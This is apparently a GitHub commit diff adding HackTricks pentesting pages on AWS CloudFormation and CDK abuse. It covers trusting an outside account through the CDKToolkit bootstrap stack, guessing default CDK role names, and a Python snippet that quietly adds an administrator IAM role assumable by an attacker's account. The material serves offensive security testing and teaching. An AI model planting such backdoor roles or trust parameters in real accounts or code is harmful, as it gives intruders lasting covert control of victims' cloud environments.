Skip to content

Commit a26a1b6

Browse files
authored
Merge pull request #177 from TheToddLuci0/add_cdk
arte-TheToddLuci0
2 parents 9f72e3a + b44ced6 commit a26a1b6

File tree

4 files changed

+81
-0
lines changed

4 files changed

+81
-0
lines changed

src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -211,6 +211,7 @@
211211
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
212212
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
213213
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
214+
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
214215
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
215216
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
216217
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
# AWS - Cloudformation Persistence
2+
3+
{{#include ../../../banners/hacktricks-training.md}}
4+
5+
## CloudFormation
6+
7+
For more information, access:
8+
9+
{{#ref}}
10+
../aws-services/aws-cloudformation-and-codestar-enum.md
11+
{{#endref}}
12+
13+
### CDK Bootstrap Stack
14+
15+
The AWS CDK deploys a CFN stack called `CDKToolkit`. This stack supports a parameter `TrustedAccounts` which allow external accounts to deploy CDK projects into the victim account. An attacker can abuse this to grant themselves indefinite access to the victim account, either by using the AWS cli to redeploy the stack with parameters, or the AWS CDK cli.
16+
17+
```bash
18+
# CDK
19+
cdk bootstrap --trust 1234567890
20+
21+
# AWS CLI
22+
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
23+
```
24+
25+
{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -111,9 +111,58 @@ An attacker could abuse this permission without the passRole permission to updat
111111

112112
**Potential Impact:** Privesc to the attached cloudformation roles.
113113

114+
## AWS CDK
115+
116+
The AWS cdk is a toolkit for allowing users to define their infrastructure-as-code in languages they are already familiar with, as well as easily re-using sections. The CDK then converts the high-level code (ie python) into Cloudformation templates (yaml or json).
117+
118+
In order to use the CDK, an administrative user must first bootstrap the account, which create several IAM roles, including the *exec role*, which has \*/\* permissions. These roles follow the naming structure `cdk-<qualifier>-<name>-<account-id>-<region>`. Bootstrapping must be done once per region per account.
119+
120+
By default, CDK users do not have access to list the roles needed to use the CDK, meaning that you will need to determine them manually. If you compromise a developers machine or some CI/CD node, these roles can can be assumed to grant yourself the ability to deploy CFN templates, using the `cfn-exec` role to allow CFN to deploy any resources, fully compromising the account.
121+
122+
### Determining the role names
123+
124+
If you have `cloudformation:DescribeStacks`, the roles are defined in a stack called `CDKToolkit`, and you can pull the names from there.
125+
126+
If you're on a machine that has been used to build and deploy CDK projects, you can pull them from `cdk.out/manafest.json` in the projects root directory.
127+
128+
You can also make a good guess on what they are. `qualifier` is a string added to the roles allowing for multiple instance of the CDK bootstrap to be deployed at once, however the default value is hard-coded to `hnb659fds`.
129+
130+
```
131+
# Defaults
132+
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
133+
cdk-hnb659fds-deploy-role-<account-id>-<region>
134+
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
135+
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
136+
cdk-hnb659fds-lookup-role-<account-id>-<region>
137+
```
138+
139+
### Adding malicious code to the project source
140+
141+
If you can write to the project source, but cannot deploy it yourself (for example, the developer deploys the code via CI/CD, not the local machine), you can still compromise the environment by adding malicious resources to the stack. The following adds an IAM role that can be assumed by an attacker account to a python CDK project.
142+
143+
```python
144+
class CdkTestStack(Stack):
145+
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
146+
super().__init__(scope, construct_id, **kwargs)
147+
148+
# ----------
149+
# Some existing code.....
150+
# ----------
151+
152+
role = iam.Role(
153+
self,
154+
"cdk-backup-role", # Role name, make it something subtle
155+
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
156+
managed_policies=[
157+
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
158+
],
159+
)
160+
```
161+
114162
## References
115163

116164
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
165+
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
117166

118167
{{#include ../../../../banners/hacktricks-training.md}}
119168

src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -39,6 +39,12 @@ In the following page you can check how to **abuse cloudformation permissions to
3939
../aws-privilege-escalation/aws-cloudformation-privesc/
4040
{{#endref}}
4141

42+
### Persistence
43+
44+
{{#ref}}
45+
../aws-persistence/aws-cloudformation-persistence.md
46+
{{#endref}}
47+
4248
### Post-Exploitation
4349

4450
Check for **secrets** or sensitive information in the **template, parameters & output** of each CloudFormation

0 commit comments

Comments
 (0)